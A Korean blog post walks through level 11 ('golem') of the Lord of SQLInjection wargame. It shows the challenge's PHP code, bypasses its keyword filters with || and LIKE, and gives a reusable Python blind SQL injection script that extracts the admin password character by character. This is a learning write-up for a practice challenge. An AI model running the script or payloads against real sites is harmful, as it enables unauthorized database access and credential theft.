LJ

Lord of SQLinjection ( 11번 ) golem 본문

IT 보안/보안첼린지

Lord of SQLinjection ( 11번 ) golem

짱준재 2024. 5. 28. 12:11

 

 

11번 문제 golem 이다.

 

 

 

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

 

 

 

코드 분석을 해보면 

 

첫 쿼리의 pw 파라미터의 값에     

 

preg_match 함수로 $_GET['pw']에 특정 문자열이 포함되어 있는지 검사한다.

  • 첫 번째 조건에서는 prob, _, ., () 문자열을 검사하고 이러한 문자열이 있으면 "No Hack _" 메시지를 출력한다.
  • 두 번째 조건에서는 or, and, substr(, = 문자열을 검사하고 이러한 문자열이 있으면 "HeHe" 메시지를 출력한다.

 

 

  • guest 사용자에 대해 비밀번호를 확인하는 쿼리를 생성한다.
  • 생성된 쿼리를 출력한다.
  • 쿼리를 실행하고 결과를 배열로 가져온다.
  • guest 사용자의 ID가 존재하면 인사 메시지를 출력한다

 

 

  • addslashes 함수로 $_GET['pw']의 문자열에 슬래시를 추가하여 SQL 인젝션을 방지하려 한다.
  • admin 사용자에 대해 비밀번호를 확인하는 쿼리를 생성한다.
  • 쿼리를 실행하고 결과를 배열로 가져온다.
  • 결과의 비밀번호가 존재하고, 입력한 비밀번호와 동일하면 solve("golem") 함수를 호출한다.
  • 마지막으로 현재 파일의 소스 코드를 하이라이트하여 출력한다.

 

 

나는 첫번째 쿼리를 이용해 문제를 해결해 볼 것이다.

 

일단 첫 쿼리에서 or and 를 필터링하고 있기 때문에 || 와 %26%26(&&)을 이용한다.

 

그리고 substr( 과 = 을 필터링 하고 있기에 like문을 이용하여 쿼리를 구성한다.

 

 

 

 

 

admin의 패스워드의 길이는 8이다.

 

 

 

 

admin의 패스워드 첫글자는 7이다.

 

 

import requests

def check_length(url, cookie, param_name):
    head = {"PHPSESSID":f"{cookie}"}
    print("대상 문자열의 길이를 확인중입니다..")
    for num in range(0,30):
        param=f"?{param_name}=' || id like \"admin\" %26%26 length({param_name})>{num} %23"
        my_url=url+param
        res=requests.get(my_url, cookies=head)
        if("Hello admin" not in res.text):
            return num

def blind_sqli(url, cookie, param_name, length):
    head = {"PHPSESSID":f"{cookie}"}
    pw=""
    for len in range(1, length+1):
        print(f"{len}번째 문자에 대해 검색중입니다..")
        for ran in range(32,127):
            param=f"?{param_name}=' || id like \"admin\" %26%26 ascii(substring({param_name},{len},1))>{ran} %23"
            my_url=url+param
            res=requests.get(my_url, cookies=head)
            if("Hello admin" not in res.text):
                print(f"{len}번째 문자 → {chr(ran)}")
                pw+=chr(ran)
                break
    return pw

if __name__ == "__main__":
    print("💘 Blind 공격을 시작합니다")
    
    url=input("URL을 입력하세요:")
    cookie=input("cookie를 알려주세요:")
    param_name=input("파라미터의 이름을 알려주세요:")
    
    length=check_length(url, cookie, param_name)
    print(f"👏 {param_name}의 길이는 {length}입니다.")
    
    pw=blind_sqli(url, cookie, param_name, length)
    print(f"👏 {param_name}의 정체는 {pw}입니다!")
    
    exit

 

 

위의 코드에서는 substr 대신 substring을 사용

 

mysql에서는 substr 과 substring모두 사용하고 ( oracle은 substr사용 )

 

 

 

위 코드는 아래 블로그에서 구성이 좋아서 가져와서 사용했다.

 

https://www.cho-log.io/99

 

[Lord of SQL Injection] 11번 golem 풀이

* 개인적인 공부 내용을 기록한 글입니다. 이전 문제 https://choco4study.tistory.com/98 [Lord of SQL Injection] 10번 skeleton 풀이 * 개인적인 공부 내용을 기록한 글입니다. 이전 문제 https://choco4study.tistory.com/97

www.cho-log.io

 

 

 

 

 

비밀번호가 나왔다.

 

 

 

 

해결 완료-!

 

 

 

'IT 보안 > 보안첼린지' 카테고리의 다른 글

Lord of SQLinjection ( 13번 ) bugbear  (0) 2024.06.08
Lord of SQLinjection ( 12번 ) darkknight  (1) 2024.06.06
Lord of SQLinjection ( 9번 ) vampire  (0) 2024.05.23
Lord of SQLinjection ( 8번 ) troll  (0) 2024.05.23
XSS game level 6  (0) 2024.05.20
Comments